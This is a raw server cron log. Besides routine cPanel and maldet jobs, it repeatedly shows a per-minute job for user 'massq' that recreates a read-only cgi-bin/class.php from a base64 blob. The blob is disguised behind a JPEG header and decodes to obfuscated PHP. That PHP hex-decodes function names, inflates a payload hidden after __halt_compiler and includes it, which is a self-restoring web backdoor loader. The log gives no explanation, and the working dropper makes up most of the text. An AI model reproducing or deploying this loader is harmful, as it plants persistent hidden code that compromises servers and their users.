Nov 11 06:24:02 server CROND[12293]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:25:01 server CROND[13179]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:25:01 server CROND[13180]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:25:01 server CROND[13182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 06:25:01 server CROND[13183]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:26:01 server CROND[14179]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:27:01 server CROND[15007]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:27:01 server CROND[15008]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 06:28:01 server CROND[15624]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:29:01 server CROND[16481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:30:01 server CROND[17199]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:30:01 server CROND[17201]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 06:30:01 server CROND[17202]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 06:30:01 server CROND[17203]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:31:01 server CROND[18220]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:32:01 server CROND[19044]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:33:01 server CROND[19872]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:34:01 server CROND[20762]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:35:01 server CROND[21587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:35:01 server CROND[21589]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 06:35:01 server CROND[21590]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 06:35:01 server CROND[21593]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:35:01 server CROND[21594]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 06:36:01 server CROND[22474]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
